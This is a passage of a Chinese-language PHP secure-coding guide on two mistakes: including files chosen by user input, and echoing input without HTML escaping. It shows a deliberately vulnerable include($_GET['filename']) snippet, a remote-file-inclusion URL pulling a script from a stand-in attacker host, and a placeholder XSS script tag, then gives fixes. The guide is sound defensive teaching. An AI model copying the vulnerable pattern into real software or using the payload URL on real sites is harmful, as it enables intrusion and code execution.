很多的項目都沒有使用PHP的面向?qū)ο蠹夹g(shù),結(jié)果就是代碼的維護(hù)變得非常耗時耗力。PHP支持的面向?qū)ο蠹夹g(shù)越來越多,越來越好,我們沒有理由不使用面向?qū)ο蟆?/div>
7、Require 或 include 的文件使用不安全的數(shù)據(jù)
再次強調(diào):不要相信不是你自己顯式聲明的數(shù)據(jù)。不要 Include 或 require 從$_GET, $_POST 或 $_COOKIE 中得到的文件。
例如:
index.php
<?
//including header, config, database connection, etc
include($_GET['filename']);
//including footer
?>
現(xiàn)在任一個****現(xiàn)在都可以用:
http://www.yourdomain.com/index.php?filename=anyfile.txt
來獲取你的機密信息,或執(zhí)行一個PHP腳本。
如果allow_url_fopen=On,你更是死定了:
試試這個輸入:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
現(xiàn)在你的網(wǎng)頁中包含了http://www.youaredoomed.com/phphack.php的輸出. ****可以發(fā)送垃圾郵件,改變密碼,刪除文件等等。只要你能想得到。
如何修復(fù):
你必須自己控制哪些文件可以包含在的include或require指令中。
下面是一個快速但不全面的解決方法:
<?
//Include only files that are allowed.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit('not allowed');
}
?>
8、不轉(zhuǎn)意html entities
一個基本的常識:所有不可信任的輸入(特別是用戶從form中提交的數(shù)據(jù)) ,輸出之前都要轉(zhuǎn)意。
echo $_GET['usename'] ;
這個例子有可能輸出:
<scrīpt>/*更改admin密碼的腳本或設(shè)置cookie的腳本*/</scrīpt>
這是一個明顯的安全隱患,除非你保證你的用戶都正確的輸入。
如何修復(fù) :
我們需要將"< ",">","and" 等轉(zhuǎn)換成正確的HTML表示(< , >', and "),函數(shù)htmlspecialchars 和 htmlentities()正是干這個活的。
正確的方法:
echo htmlspecialchars($_GET['username'], ENT_QUOTES);